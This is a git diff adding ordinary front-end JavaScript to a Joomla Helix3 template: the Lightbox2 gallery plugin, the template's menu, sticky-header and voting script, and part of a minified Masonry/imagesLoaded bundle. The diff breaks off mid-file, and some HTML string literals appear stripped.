+}(this, function ($) {
+
+ function Lightbox(options) {
+ this.album = [];
+ this.currentImageIndex = void 0;
+ this.init();
+
+ // options
+ this.options = $.extend({}, this.constructor.defaults);
+ this.option(options);
+ }
+
+ // Descriptions of all options available on the demo site:
+ // http://lokeshdhakar.com/projects/lightbox2/index.html#options
+ Lightbox.defaults = {
+ albumLabel: 'Image %1 of %2',
+ alwaysShowNavOnTouchDevices: false,
+ fadeDuration: 500,
+ fitImagesInViewport: true,
+ // maxWidth: 800,
+ // maxHeight: 600,
+ positionFromTop: 50,
+ resizeDuration: 700,
+ showImageNumberLabel: true,
+ wrapAround: false
+ };
+
+ Lightbox.prototype.option = function(options) {
+ $.extend(this.options, options);
+ };
+
+ Lightbox.prototype.imageCountLabel = function(currentImageNum, totalImages) {
+ return this.options.albumLabel.replace(/%1/g, currentImageNum).replace(/%2/g, totalImages);
+ };
+
+ Lightbox.prototype.init = function() {
+ this.enable();
+ this.build();
+ };
+
+ // Loop through anchors and areamaps looking for either data-lightbox attributes or rel attributes
+ // that contain 'lightbox'. When these are clicked, start lightbox.
+ Lightbox.prototype.enable = function() {
+ var self = this;
+ $('body').on('click', 'a[rel^=lightbox], area[rel^=lightbox], a[data-lightbox], area[data-lightbox]', function(event) {
+ self.start($(event.currentTarget));
+ return false;
+ });
+ };
+
+ // Build html for the lightbox and the overlay.
+ // Attach event handlers to the new DOM elements. click click click
+ Lightbox.prototype.build = function() {
+ var self = this;
+ $('
').appendTo($('body'));
+
+ // Cache jQuery objects
+ this.$lightbox = $('#lightbox');
+ this.$overlay = $('#lightboxOverlay');
+ this.$outerContainer = this.$lightbox.find('.lb-outerContainer');
+ this.$container = this.$lightbox.find('.lb-container');
+
+ // Store css values for future lookup
+ this.containerTopPadding = parseInt(this.$container.css('padding-top'), 10);
+ this.containerRightPadding = parseInt(this.$container.css('padding-right'), 10);
+ this.containerBottomPadding = parseInt(this.$container.css('padding-bottom'), 10);
+ this.containerLeftPadding = parseInt(this.$container.css('padding-left'), 10);
+
+ // Attach event handlers to the newly minted DOM elements
+ this.$overlay.hide().on('click', function() {
+ self.end();
+ return false;
+ });
+
+ this.$lightbox.hide().on('click', function(event) {
+ if ($(event.target).attr('id') === 'lightbox') {
+ self.end();
+ }
+ return false;
+ });
+
+ this.$outerContainer.on('click', function(event) {
+ if ($(event.target).attr('id') === 'lightbox') {
+ self.end();
+ }
+ return false;
+ });
+
+ this.$lightbox.find('.lb-prev').on('click', function() {
+ if (self.currentImageIndex === 0) {
+ self.changeImage(self.album.length - 1);
+ } else {
+ self.changeImage(self.currentImageIndex - 1);
+ }
+ return false;
+ });
+
+ this.$lightbox.find('.lb-next').on('click', function() {
+ if (self.currentImageIndex === self.album.length - 1) {
+ self.changeImage(0);
+ } else {
+ self.changeImage(self.currentImageIndex + 1);
+ }
+ return false;
+ });
+
+ this.$lightbox.find('.lb-loader, .lb-close').on('click', function() {
+ self.end();
+ return false;
+ });
+ };
+
+ // Show overlay and lightbox. If the image is part of a set, add siblings to album array.
+ Lightbox.prototype.start = function($link) {
+ var self = this;
+ var $window = $(window);
+
+ $window.on('resize', $.proxy(this.sizeOverlay, this));
+
+ $('select, object, embed').css({
+ visibility: 'hidden'
+ });
+
+ this.sizeOverlay();
+
+ this.album = [];
+ var imageNumber = 0;
+
+ function addToAlbum($link) {
+ self.album.push({
+ link: $link.attr('href'),
+ title: $link.attr('data-title') || $link.attr('title')
+ });
+ }
+
+ // Support both data-lightbox attribute and rel attribute implementations
+ var dataLightboxValue = $link.attr('data-lightbox');
+ var $links;
+
+ if (dataLightboxValue) {
+ $links = $($link.prop('tagName') + '[data-lightbox="' + dataLightboxValue + '"]');
+ for (var i = 0; i < $links.length; i = ++i) {
+ addToAlbum($($links[i]));
+ if ($links[i] === $link[0]) {
+ imageNumber = i;
+ }
+ }
+ } else {
+ if ($link.attr('rel') === 'lightbox') {
+ // If image is not part of a set
+ addToAlbum($link);
+ } else {
+ // If image is part of a set
+ $links = $($link.prop('tagName') + '[rel="' + $link.attr('rel') + '"]');
+ for (var j = 0; j < $links.length; j = ++j) {
+ addToAlbum($($links[j]));
+ if ($links[j] === $link[0]) {
+ imageNumber = j;
+ }
+ }
+ }
+ }
+
+ // Position Lightbox
+ var top = $window.scrollTop() + this.options.positionFromTop;
+ var left = $window.scrollLeft();
+ this.$lightbox.css({
+ top: top + 'px',
+ left: left + 'px'
+ }).fadeIn(this.options.fadeDuration);
+
+ this.changeImage(imageNumber);
+ };
+
+ // Hide most UI elements in preparation for the animated resizing of the lightbox.
+ Lightbox.prototype.changeImage = function(imageNumber) {
+ var self = this;
+
+ this.disableKeyboardNav();
+ var $image = this.$lightbox.find('.lb-image');
+
+ this.$overlay.fadeIn(this.options.fadeDuration);
+
+ $('.lb-loader').fadeIn('slow');
+ this.$lightbox.find('.lb-image, .lb-nav, .lb-prev, .lb-next, .lb-dataContainer, .lb-numbers, .lb-caption').hide();
+
+ this.$outerContainer.addClass('animating');
+
+ // When image to show is preloaded, we send the width and height to sizeContainer()
+ var preloader = new Image();
+ preloader.onload = function() {
+ var $preloader;
+ var imageHeight;
+ var imageWidth;
+ var maxImageHeight;
+ var maxImageWidth;
+ var windowHeight;
+ var windowWidth;
+
+ $image.attr('src', self.album[imageNumber].link);
+
+ $preloader = $(preloader);
+
+ $image.width(preloader.width);
+ $image.height(preloader.height);
+
+ if (self.options.fitImagesInViewport) {
+ // Fit image inside the viewport.
+ // Take into account the border around the image and an additional 10px gutter on each side.
+
+ windowWidth = $(window).width();
+ windowHeight = $(window).height();
+ maxImageWidth = windowWidth - self.containerLeftPadding - self.containerRightPadding - 20;
+ maxImageHeight = windowHeight - self.containerTopPadding - self.containerBottomPadding - 120;
+
+ // Check if image size is larger then maxWidth|maxHeight in settings
+ if (self.options.maxWidth && self.options.maxWidth < maxImageWidth) {
+ maxImageWidth = self.options.maxWidth;
+ }
+ if (self.options.maxHeight && self.options.maxHeight < maxImageWidth) {
+ maxImageHeight = self.options.maxHeight;
+ }
+
+ // Is there a fitting issue?
+ if ((preloader.width > maxImageWidth) || (preloader.height > maxImageHeight)) {
+ if ((preloader.width / maxImageWidth) > (preloader.height / maxImageHeight)) {
+ imageWidth = maxImageWidth;
+ imageHeight = parseInt(preloader.height / (preloader.width / imageWidth), 10);
+ $image.width(imageWidth);
+ $image.height(imageHeight);
+ } else {
+ imageHeight = maxImageHeight;
+ imageWidth = parseInt(preloader.width / (preloader.height / imageHeight), 10);
+ $image.width(imageWidth);
+ $image.height(imageHeight);
+ }
+ }
+ }
+ self.sizeContainer($image.width(), $image.height());
+ };
+
+ preloader.src = this.album[imageNumber].link;
+ this.currentImageIndex = imageNumber;
+ };
+
+ // Stretch overlay to fit the viewport
+ Lightbox.prototype.sizeOverlay = function() {
+ this.$overlay
+ .width($(window).width())
+ .height($(document).height());
+ };
+
+ // Animate the size of the lightbox to fit the image we are showing
+ Lightbox.prototype.sizeContainer = function(imageWidth, imageHeight) {
+ var self = this;
+
+ var oldWidth = this.$outerContainer.outerWidth();
+ var oldHeight = this.$outerContainer.outerHeight();
+ var newWidth = imageWidth + this.containerLeftPadding + this.containerRightPadding;
+ var newHeight = imageHeight + this.containerTopPadding + this.containerBottomPadding;
+
+ function postResize() {
+ self.$lightbox.find('.lb-dataContainer').width(newWidth);
+ self.$lightbox.find('.lb-prevLink').height(newHeight);
+ self.$lightbox.find('.lb-nextLink').height(newHeight);
+ self.showImage();
+ }
+
+ if (oldWidth !== newWidth || oldHeight !== newHeight) {
+ this.$outerContainer.animate({
+ width: newWidth,
+ height: newHeight
+ }, this.options.resizeDuration, 'swing', function() {
+ postResize();
+ });
+ } else {
+ postResize();
+ }
+ };
+
+ // Display the image and its details and begin preload neighboring images.
+ Lightbox.prototype.showImage = function() {
+ this.$lightbox.find('.lb-loader').stop(true).hide();
+ this.$lightbox.find('.lb-image').fadeIn('slow');
+
+ this.updateNav();
+ this.updateDetails();
+ this.preloadNeighboringImages();
+ this.enableKeyboardNav();
+ };
+
+ // Display previous and next navigation if appropriate.
+ Lightbox.prototype.updateNav = function() {
+ // Check to see if the browser supports touch events. If so, we take the conservative approach
+ // and assume that mouse hover events are not supported and always show prev/next navigation
+ // arrows in image sets.
+ var alwaysShowNav = false;
+ try {
+ document.createEvent('TouchEvent');
+ alwaysShowNav = (this.options.alwaysShowNavOnTouchDevices) ? true : false;
+ } catch (e) {}
+
+ this.$lightbox.find('.lb-nav').show();
+
+ if (this.album.length > 1) {
+ if (this.options.wrapAround) {
+ if (alwaysShowNav) {
+ this.$lightbox.find('.lb-prev, .lb-next').css('opacity', '1');
+ }
+ this.$lightbox.find('.lb-prev, .lb-next').show();
+ } else {
+ if (this.currentImageIndex > 0) {
+ this.$lightbox.find('.lb-prev').show();
+ if (alwaysShowNav) {
+ this.$lightbox.find('.lb-prev').css('opacity', '1');
+ }
+ }
+ if (this.currentImageIndex < this.album.length - 1) {
+ this.$lightbox.find('.lb-next').show();
+ if (alwaysShowNav) {
+ this.$lightbox.find('.lb-next').css('opacity', '1');
+ }
+ }
+ }
+ }
+ };
+
+ // Display caption, image number, and closing button.
+ Lightbox.prototype.updateDetails = function() {
+ var self = this;
+
+ // Enable anchor clicks in the injected caption html.
+ // Thanks Nate Wright for the fix. @https://github.com/NateWr
+ if (typeof this.album[this.currentImageIndex].title !== 'undefined' &&
+ this.album[this.currentImageIndex].title !== '') {
+ this.$lightbox.find('.lb-caption')
+ .html(this.album[this.currentImageIndex].title)
+ .fadeIn('fast')
+ .find('a').on('click', function(event) {
+ if ($(this).attr('target') !== undefined) {
+ window.open($(this).attr('href'), $(this).attr('target'));
+ } else {
+ location.href = $(this).attr('href');
+ }
+ });
+ }
+
+ if (this.album.length > 1 && this.options.showImageNumberLabel) {
+ var labelText = this.imageCountLabel(this.currentImageIndex + 1, this.album.length);
+ this.$lightbox.find('.lb-number').text(labelText).fadeIn('fast');
+ } else {
+ this.$lightbox.find('.lb-number').hide();
+ }
+
+ this.$outerContainer.removeClass('animating');
+
+ this.$lightbox.find('.lb-dataContainer').fadeIn(this.options.resizeDuration, function() {
+ return self.sizeOverlay();
+ });
+ };
+
+ // Preload previous and next images in set.
+ Lightbox.prototype.preloadNeighboringImages = function() {
+ if (this.album.length > this.currentImageIndex + 1) {
+ var preloadNext = new Image();
+ preloadNext.src = this.album[this.currentImageIndex + 1].link;
+ }
+ if (this.currentImageIndex > 0) {
+ var preloadPrev = new Image();
+ preloadPrev.src = this.album[this.currentImageIndex - 1].link;
+ }
+ };
+
+ Lightbox.prototype.enableKeyboardNav = function() {
+ $(document).on('keyup.keyboard', $.proxy(this.keyboardAction, this));
+ };
+
+ Lightbox.prototype.disableKeyboardNav = function() {
+ $(document).off('.keyboard');
+ };
+
+ Lightbox.prototype.keyboardAction = function(event) {
+ var KEYCODE_ESC = 27;
+ var KEYCODE_LEFTARROW = 37;
+ var KEYCODE_RIGHTARROW = 39;
+
+ var keycode = event.keyCode;
+ var key = String.fromCharCode(keycode).toLowerCase();
+ if (keycode === KEYCODE_ESC || key.match(/x|o|c/)) {
+ this.end();
+ } else if (key === 'p' || keycode === KEYCODE_LEFTARROW) {
+ if (this.currentImageIndex !== 0) {
+ this.changeImage(this.currentImageIndex - 1);
+ } else if (this.options.wrapAround && this.album.length > 1) {
+ this.changeImage(this.album.length - 1);
+ }
+ } else if (key === 'n' || keycode === KEYCODE_RIGHTARROW) {
+ if (this.currentImageIndex !== this.album.length - 1) {
+ this.changeImage(this.currentImageIndex + 1);
+ } else if (this.options.wrapAround && this.album.length > 1) {
+ this.changeImage(0);
+ }
+ }
+ };
+
+ // Closing time. :-(
+ Lightbox.prototype.end = function() {
+ this.disableKeyboardNav();
+ $(window).off('resize', this.sizeOverlay);
+ this.$lightbox.fadeOut(this.options.fadeDuration);
+ this.$overlay.fadeOut(this.options.fadeDuration);
+ $('select, object, embed').css({
+ visibility: 'visible'
+ });
+ };
+
+ return new Lightbox();
+}));
diff --git a/deployed/helix3/templates/shaper_helix3/js/main.js b/deployed/helix3/templates/shaper_helix3/js/main.js
new file mode 100644
index 00000000..f816f80e
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/main.js
@@ -0,0 +1,252 @@
+/**
+ * @package Helix3 Framework
+ * @author JoomShaper http://www.joomshaper.com
+ * @copyright Copyright (c) 2010 - 2016 JoomShaper
+ * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
+ */
+
+jQuery(function ($) {
+
+ // ************ START Helix 1.4 JS ************** //
+ // **************************************************** //
+
+ //Default
+ if (typeof sp_offanimation === 'undefined' || sp_offanimation === '') {
+ sp_offanimation = 'default';
+ }
+
+ if (sp_offanimation == 'default') {
+ $('#offcanvas-toggler').on('click', function (event) {
+ event.preventDefault();
+ $('.off-canvas-menu-init').addClass('offcanvas');
+ });
+
+ $('
').insertBefore('.offcanvas-menu');
+ $('.close-offcanvas, .offcanvas-overlay').on('click', function (event) {
+ event.preventDefault();
+ $('.off-canvas-menu-init').removeClass('offcanvas');
+ });
+ }
+
+ // Slide Top Menu
+ if (sp_offanimation == 'slidetop') {
+ $('#offcanvas-toggler').on('click', function (event) {
+ event.preventDefault();
+ $('.off-canvas-menu-init').addClass('slide-top-menu');
+ });
+
+ $('
').insertBefore('.offcanvas-menu');
+ $('.close-offcanvas, .offcanvas-overlay').on('click', function (event) {
+ event.preventDefault();
+ $('.off-canvas-menu-init').removeClass('slide-top-menu');
+ });
+ }
+
+ //Full Screen
+ if (sp_offanimation == 'fullscreen') {
+ $('#offcanvas-toggler').on('click', function (event) {
+ event.preventDefault();
+ $('.off-canvas-menu-init').addClass('full-screen-off-canvas');
+ });
+ $(document).ready(function () {
+ $('.off-canvas-menu-init').addClass('full-screen');
+ });
+ $('.close-offcanvas, .offcanvas-overlay').on('click', function (event) {
+ event.preventDefault();
+ $('.off-canvas-menu-init').removeClass('full-screen-off-canvas');
+ });
+ }
+
+ //Full screen from top
+ if (sp_offanimation == 'fullScreen-top') {
+ $('#offcanvas-toggler').on('click', function (event) {
+ event.preventDefault();
+ $('.off-canvas-menu-init').addClass('full-screen-off-canvas-ftop');
+ });
+ $(document).ready(function () {
+ $('.off-canvas-menu-init').addClass('full-screen-ftop');
+ });
+ $('.close-offcanvas, .offcanvas-overlay').on('click', function (event) {
+ event.preventDefault();
+ $('.off-canvas-menu-init').removeClass('full-screen-off-canvas-ftop');
+ });
+ }
+
+ //Dark with plus
+ if (sp_offanimation == 'drarkplus') {
+ $('#offcanvas-toggler').on('click', function (event) {
+ event.preventDefault();
+ $('.off-canvas-menu-init').addClass('new-look-off-canvas');
+ });
+ $('
').insertBefore('.offcanvas-menu');
+ $(document).ready(function () {
+ $('.off-canvas-menu-init').addClass('new-look');
+ });
+ $('.close-offcanvas,.offcanvas-overlay').on('click', function (event) {
+ event.preventDefault();
+ $('.off-canvas-menu-init').removeClass('new-look-off-canvas');
+ });
+ }
+
+ // if sticky header
+ if ($("body.sticky-header").length > 0 && $('#sp-header').length > 0 ) {
+ var fixedSection = $('#sp-header');
+ // sticky nav
+ var headerHeight = fixedSection.outerHeight();
+ var stickyNavTop = fixedSection.offset().top;
+ fixedSection.addClass('animated');
+ fixedSection.before('
');
+ $('.nav-placeholder').height('inherit');
+ //add class
+ fixedSection.addClass('menu-fixed-out');
+ var stickyNav = function () {
+ var scrollTop = $(window).scrollTop();
+ if (scrollTop > stickyNavTop) {
+ fixedSection.removeClass('menu-fixed-out').addClass('menu-fixed');
+ $('.nav-placeholder').height(headerHeight);
+ } else {
+ if (fixedSection.hasClass('menu-fixed')) {
+ fixedSection.removeClass('menu-fixed').addClass('menu-fixed-out');
+ $('.nav-placeholder').height('inherit');
+ }
+ }
+ };
+ stickyNav();
+ $(window).scroll(function () {
+ stickyNav();
+ });
+ }
+ // go to top
+ if (typeof sp_gotop === 'undefined') {
+ sp_gotop = '';
+ }
+
+ if (sp_gotop) {
+ // go to top
+ $(window).scroll(function () {
+ if ($(this).scrollTop() > 100) {
+ $('.scrollup').fadeIn();
+ } else {
+ $('.scrollup').fadeOut(400);
+ }
+ });
+
+ $('.scrollup').click(function () {
+ $("html, body").animate({
+ scrollTop: 0
+ }, 600);
+ return false;
+ });
+ } // has go to top
+
+ // Preloader
+ if (typeof sp_preloader === 'undefined') {
+ sp_preloader = '';
+ }
+
+ if (sp_preloader) {
+ $(window).on('load', function () {
+ if ($('.sp-loader-with-logo').length > 0) {
+ move();
+ }
+ setTimeout(function () {
+ $('.sp-pre-loader').fadeOut();
+ }, 1000);
+ });
+ } // has preloader
+ //preloader Function
+ function move() {
+ var elem = document.getElementById("line-load");
+ var width = 1;
+ var id = setInterval(frame, 10);
+ function frame() {
+ if (width >= 100) {
+ clearInterval(id);
+ } else {
+ width++;
+ elem.style.width = width + '%';
+ }
+ }
+ }
+ // ************ END:: Helix 1.4 JS ************** //
+ // **************************************************** //
+
+ // ************** START Mega SCRIPT *************** //
+ // **************************************************** //
+
+ //mega menu
+ $('.sp-megamenu-wrapper').parent().parent().css('position', 'static').parent().css('position', 'relative');
+ $('.sp-menu-full').each(function () {
+ $(this).parent().addClass('menu-justify');
+ });
+
+ // boxlayout
+ if ($("body.layout-boxed").length > 0) {
+ var windowWidth = $('#sp-header').parent().outerWidth();
+ $("#sp-header").css({"max-width": windowWidth, "left": "auto"});
+ }
+
+ // ************** END:: Mega SCRIPT *************** //
+ // **************************************************** //
+
+ // ************** START Others SCRIPT *************** //
+ // **************************************************** //
+
+ //Tooltip
+ $('[data-toggle="tooltip"]').tooltip();
+
+ // Article Ajax voting
+ $(document).on('click', '.sp-rating .star', function (event) {
+ event.preventDefault();
+
+ var data = {
+ 'action': 'voting',
+ 'user_rating': $(this).data('number'),
+ 'id': $(this).closest('.post_rating').attr('id')
+ };
+
+ var request = {
+ 'option': 'com_ajax',
+ 'plugin': 'helix3',
+ 'data': data,
+ 'format': 'json'
+ };
+
+ $.ajax({
+ type: 'POST',
+ data: request,
+ beforeSend: function () {
+ $('.post_rating .ajax-loader').show();
+ },
+ success: function (response) {
+ var data = $.parseJSON(response.data);
+
+ $('.post_rating .ajax-loader').hide();
+
+ if (data.status == 'invalid') {
+ $('.post_rating .voting-result').text('You have already rated this entry!').fadeIn('fast');
+ } else if (data.status == 'false') {
+ $('.post_rating .voting-result').text('Somethings wrong here, try again!').fadeIn('fast');
+ } else if (data.status == 'true') {
+ var rate = data.action;
+ $('.voting-symbol').find('.star').each(function (i) {
+ if (i < rate) {
+ $(".star").eq(-(i + 1)).addClass('active');
+ }
+ });
+
+ $('.post_rating .voting-result').text('Thank You!').fadeIn('fast');
+ }
+
+ },
+ error: function () {
+ $('.post_rating .ajax-loader').hide();
+ $('.post_rating .voting-result').text('Failed to rate, try again!').fadeIn('fast');
+ }
+ });
+ });
+
+ // ************** END:: Others SCRIPT *************** //
+ // **************************************************** //
+
+});
diff --git a/deployed/helix3/templates/shaper_helix3/js/masonry.min.js b/deployed/helix3/templates/shaper_helix3/js/masonry.min.js
new file mode 100644
index 00000000..53e93321
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/masonry.min.js
@@ -0,0 +1,1787 @@
+function MesonaryPortfolio() {
+ var t = document.querySelector("#t-our_work_1")
+ , e = new Masonry(t,{
+ isFitWidth: !0
+ });
+ imagesLoaded(t, function() {
+ e.layout()
+ }
+ );
+ var n = document.querySelector("#t-our_work_2")
+ , e = new Masonry(n,{
+ isFitWidth: !0
+ });
+ imagesLoaded(n, function() {
+ e.layout()
+ }
+ );
+ var i = document.querySelector("#t-our_work_3")
+ , e = new Masonry(i,{
+ isFitWidth: !0
+ });
+ imagesLoaded(i, function() {
+ e.layout()
+ }
+ );
+ var o = document.querySelector("#t-our_work_4")
+ , e = new Masonry(o,{
+ isFitWidth: !0
+ });
+ imagesLoaded(o, function() {
+ e.layout()
+ }
+ );
+ var r = document.querySelector("#t-our_work_5")
+ , e = new Masonry(r,{
+ isFitWidth: !0
+ });
+ imagesLoaded(r, function() {
+ e.layout()
+ }
+ )
+}
+(function() {
+ function t() {}
+ function e(t, e) {
+ for (var n = t.length; n--; )
+ if (t[n].listener === e)
+ return n;
+ return -1
+ }
+ function n(t) {
+ return function() {
+ return this[t].apply(this, arguments)
+ }
+ }
+ var i = t.prototype
+ , o = this
+ , r = o.EventEmitter;
+ i.getListeners = function(t) {
+ var e, n, i = this._getEvents();
+ if ("object" == typeof t) {
+ e = {};
+ for (n in i)
+ i.hasOwnProperty(n) && t.test(n) && (e[n] = i[n])
+ } else
+ e = i[t] || (i[t] = []);
+ return e
+ }
+ ,
+ i.flattenListeners = function(t) {
+ var e, n = [];
+ for (e = 0; t.length > e; e += 1)
+ n.push(t[e].listener);
+ return n
+ }
+ ,
+ i.getListenersAsObject = function(t) {
+ var e, n = this.getListeners(t);
+ return n instanceof Array && (e = {},
+ e[t] = n),
+ e || n
+ }
+ ,
+ i.addListener = function(t, n) {
+ var i, o = this.getListenersAsObject(t), r = "object" == typeof n;
+ for (i in o)
+ o.hasOwnProperty(i) && -1 === e(o[i], n) && o[i].push(r ? n : {
+ listener: n,
+ once: !1
+ });
+ return this
+ }
+ ,
+ i.on = n("addListener"),
+ i.addOnceListener = function(t, e) {
+ return this.addListener(t, {
+ listener: e,
+ once: !0
+ })
+ }
+ ,
+ i.once = n("addOnceListener"),
+ i.defineEvent = function(t) {
+ return this.getListeners(t),
+ this
+ }
+ ,
+ i.defineEvents = function(t) {
+ for (var e = 0; t.length > e; e += 1)
+ this.defineEvent(t[e]);
+ return this
+ }
+ ,
+ i.removeListener = function(t, n) {
+ var i, o, r = this.getListenersAsObject(t);
+ for (o in r)
+ r.hasOwnProperty(o) && (i = e(r[o], n),
+ -1 !== i && r[o].splice(i, 1));
+ return this
+ }
+ ,
+ i.off = n("removeListener"),
+ i.addListeners = function(t, e) {
+ return this.manipulateListeners(!1, t, e)
+ }
+ ,
+ i.removeListeners = function(t, e) {
+ return this.manipulateListeners(!0, t, e)
+ }
+ ,
+ i.manipulateListeners = function(t, e, n) {
+ var i, o, r = t ? this.removeListener : this.addListener, s = t ? this.removeListeners : this.addListeners;
+ if ("object" != typeof e || e instanceof RegExp)
+ for (i = n.length; i--; )
+ r.call(this, e, n[i]);
+ else
+ for (i in e)
+ e.hasOwnProperty(i) && (o = e[i]) && ("function" == typeof o ? r.call(this, i, o) : s.call(this, i, o));
+ return this
+ }
+ ,
+ i.removeEvent = function(t) {
+ var e, n = typeof t, i = this._getEvents();
+ if ("string" === n)
+ delete i[t];
+ else if ("object" === n)
+ for (e in i)
+ i.hasOwnProperty(e) && t.test(e) && delete i[e];
+ else
+ delete this._events;
+ return this
+ }
+ ,
+ i.removeAllListeners = n("removeEvent"),
+ i.emitEvent = function(t, e) {
+ var n, i, o, r, s = this.getListenersAsObject(t);
+ for (o in s)
+ if (s.hasOwnProperty(o))
+ for (i = s[o].length; i--; )
+ n = s[o][i],
+ n.once === !0 && this.removeListener(t, n.listener),
+ r = n.listener.apply(this, e || []),
+ r === this._getOnceReturnValue() && this.removeListener(t, n.listener);
+ return this
+ }
+ ,
+ i.trigger = n("emitEvent"),
+ i.emit = function(t) {
+ var e = Array.prototype.slice.call(arguments, 1);
+ return this.emitEvent(t, e)
+ }
+ ,
+ i.setOnceReturnValue = function(t) {
+ return this._onceReturnValue = t,
+ this
+ }
+ ,
+ i._getOnceReturnValue = function() {
+ return this.hasOwnProperty("_onceReturnValue") ? this._onceReturnValue : !0
+ }
+ ,
+ i._getEvents = function() {
+ return this._events || (this._events = {})
+ }
+ ,
+ t.noConflict = function() {
+ return o.EventEmitter = r,
+ t
+ }
+ ,
+ "function" == typeof define && define.amd ? define("eventEmitter/EventEmitter", [], function() {
+ return t
+ }
+ ) : "object" == typeof module && module.exports ? module.exports = t : this.EventEmitter = t
+}
+).call(this),
+function(t) {
+ function e(e) {
+ var n = t.event;
+ return n.target = n.target || n.srcElement || e,
+ n
+ }
+ var n = document.documentElement
+ , i = function() {}
+ ;
+ n.addEventListener ? i = function(t, e, n) {
+ t.addEventListener(e, n, !1)
+ }
+ : n.attachEvent && (i = function(t, n, i) {
+ t[n + i] = i.handleEvent ? function() {
+ var n = e(t);
+ i.handleEvent.call(i, n)
+ }
+ : function() {
+ var n = e(t);
+ i.call(t, n)
+ }
+ ,
+ t.attachEvent("on" + n, t[n + i])
+ }
+ );
+ var o = function() {}
+ ;
+ n.removeEventListener ? o = function(t, e, n) {
+ t.removeEventListener(e, n, !1)
+ }
+ : n.detachEvent && (o = function(t, e, n) {
+ t.detachEvent("on" + e, t[e + n]);
+ try {
+ delete t[e + n]
+ } catch (i) {
+ t[e + n] = void 0
+ }
+ }
+ );
+ var r = {
+ bind: i,
+ unbind: o
+ };
+ "function" == typeof define && define.amd ? define("eventie/eventie", r) : t.eventie = r
+}
+(this),
+function(t, e) {
+ "function" == typeof define && define.amd ? define(["eventEmitter/EventEmitter", "eventie/eventie"], function(n, i) {
+ return e(t, n, i)
+ }
+ ) : "object" == typeof exports ? module.exports = e(t, require("wolfy87-eventemitter"), require("eventie")) : t.imagesLoaded = e(t, t.EventEmitter, t.eventie)
+}
+(window, function(t, e, n) {
+ function i(t, e) {
+ for (var n in e)
+ t[n] = e[n];
+ return t
+ }
+ function o(t) {
+ return "[object Array]" === c.call(t)
+ }
+ function r(t) {
+ var e = [];
+ if (o(t))
+ e = t;
+ else if ("number" == typeof t.length)
+ for (var n = 0, i = t.length; i > n; n++)
+ e.push(t[n]);
+ else
+ e.push(t);
+ return e
+ }
+ function s(t, e, n) {
+ if (!(this instanceof s))
+ return new s(t,e);
+ "string" == typeof t && (t = document.querySelectorAll(t)),
+ this.elements = r(t),
+ this.options = i({}, this.options),
+ "function" == typeof e ? n = e : i(this.options, e),
+ n && this.on("always", n),
+ this.getImages(),
+ u && (this.jqDeferred = new u.Deferred);
+ var o = this;
+ setTimeout(function() {
+ o.check()
+ }
+ )
+ }
+ function a(t) {
+ this.img = t
+ }
+ function h(t) {
+ this.src = t,
+ d[t] = this
+ }
+ var u = t.jQuery
+ , f = t.console
+ , p = void 0 !== f
+ , c = Object.prototype.toString;
+ s.prototype = new e,
+ s.prototype.options = {},
+ s.prototype.getImages = function() {
+ this.images = [];
+ for (var t = 0, e = this.elements.length; e > t; t++) {
+ var n = this.elements[t];
+ "IMG" === n.nodeName && this.addImage(n);
+ var i = n.nodeType;
+ if (i && (1 === i || 9 === i || 11 === i))
+ for (var o = n.querySelectorAll("img"), r = 0, s = o.length; s > r; r++) {
+ var a = o[r];
+ this.addImage(a)
+ }
+ }
+ }
+ ,
+ s.prototype.addImage = function(t) {
+ var e = new a(t);
+ this.images.push(e)
+ }
+ ,
+ s.prototype.check = function() {
+ function t(t, o) {
+ return e.options.debug && p && f.log("confirm", t, o),
+ e.progress(t),
+ n++,
+ n === i && e.complete(),
+ !0
+ }
+ var e = this
+ , n = 0
+ , i = this.images.length;
+ if (this.hasAnyBroken = !1,
+ !i)
+ return void this.complete();
+ for (var o = 0; i > o; o++) {
+ var r = this.images[o];
+ r.on("confirm", t),
+ r.check()
+ }
+ }
+ ,
+ s.prototype.progress = function(t) {
+ this.hasAnyBroken = this.hasAnyBroken || !t.isLoaded;
+ var e = this;
+ setTimeout(function() {
+ e.emit("progress", e, t),
+ e.jqDeferred && e.jqDeferred.notify && e.jqDeferred.notify(e, t)
+ }
+ )
+ }
+ ,
+ s.prototype.complete = function() {
+ var t = this.hasAnyBroken ? "fail" : "done";
+ this.isComplete = !0;
+ var e = this;
+ setTimeout(function() {
+ if (e.emit(t, e),
+ e.emit("always", e),
+ e.jqDeferred) {
+ var n = e.hasAnyBroken ? "reject" : "resolve";
+ e.jqDeferred[n](e)
+ }
+ }
+ )
+ }
+ ,
+ u && (u.fn.imagesLoaded = function(t, e) {
+ var n = new s(this,t,e);
+ return n.jqDeferred.promise(u(this))
+ }
+ ),
+ a.prototype = new e,
+ a.prototype.check = function() {
+ var t = d[this.img.src] || new h(this.img.src);
+ if (t.isConfirmed)
+ return void this.confirm(t.isLoaded, "cached was confirmed");
+ if (this.img.complete && void 0 !== this.img.naturalWidth)
+ return void this.confirm(0 !== this.img.naturalWidth, "naturalWidth");
+ var e = this;
+ t.on("confirm", function(t, n) {
+ return e.confirm(t.isLoaded, n),
+ !0
+ }
+ ),
+ t.check()
+ }
+ ,
+ a.prototype.confirm = function(t, e) {
+ this.isLoaded = t,
+ this.emit("confirm", this, e)
+ }
+ ;
+ var d = {};
+ return h.prototype = new e,
+ h.prototype.check = function() {
+ if (!this.isChecked) {
+ var t = new Image;
+ n.bind(t, "load", this),
+ n.bind(t, "error", this),
+ t.src = this.src,
+ this.isChecked = !0
+ }
+ }
+ ,
+ h.prototype.handleEvent = function(t) {
+ var e = "on" + t.type;
+ this[e] && this[e](t)
+ }
+ ,
+ h.prototype.onload = function(t) {
+ this.confirm(!0, "onload"),
+ this.unbindProxyEvents(t)
+ }
+ ,
+ h.prototype.onerror = function(t) {
+ this.confirm(!1, "onerror"),
+ this.unbindProxyEvents(t)
+ }
+ ,
+ h.prototype.confirm = function(t, e) {
+ this.isConfirmed = !0,
+ this.isLoaded = t,
+ this.emit("confirm", this, e)
+ }
+ ,
+ h.prototype.unbindProxyEvents = function(t) {
+ n.unbind(t.target, "load", this),
+ n.unbind(t.target, "error", this)
+ }
+ ,
+ s
+}
+),
+!function(t) {
+ function e() {}
+ function n(t) {
+ function n(e) {
+ e.prototype.option || (e.prototype.option = function(e) {
+ t.isPlainObject(e) && (this.options = t.extend(!0, this.options, e))
+ }
+ )
+ }
+ function o(e, n) {
+ t.fn[e] = function(o) {
+ if ("string" == typeof o) {
